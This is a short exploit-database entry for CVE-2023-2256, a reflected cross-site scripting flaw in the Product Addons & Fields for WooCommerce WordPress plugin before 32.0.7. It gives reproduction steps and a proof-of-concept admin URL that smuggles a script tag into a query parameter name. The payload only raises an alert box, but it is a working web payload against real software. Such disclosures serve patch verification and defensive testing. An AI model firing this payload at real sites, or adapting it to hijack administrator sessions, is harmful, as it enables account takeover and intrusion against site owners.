Exploit for Product Addons & Fields for WooCommerce < 32.0.7 - Reflected Cross-Site Scripting CVE-2023-2256

Name: Exploit for Product Addons & Fields for WooCommerce < 32.0.7 - Reflected Cross-Site Scripting CVE-2023-2256
Rating: 5 (198 reviews)

2023-05-01 | CVSS 5.8

## https://sploitus.com/exploit?id=WPEX-ID:1187E041-3BE2-4613-8D56-C2394FCC75FB
Ensure WooCommerce is installed. Visit the following path, while logged in as an Admin:

/wp-admin/admin.php?page=ppom&productmeta_id=5&do_meta=edit&"><script>alert(/XSS/)</script>=1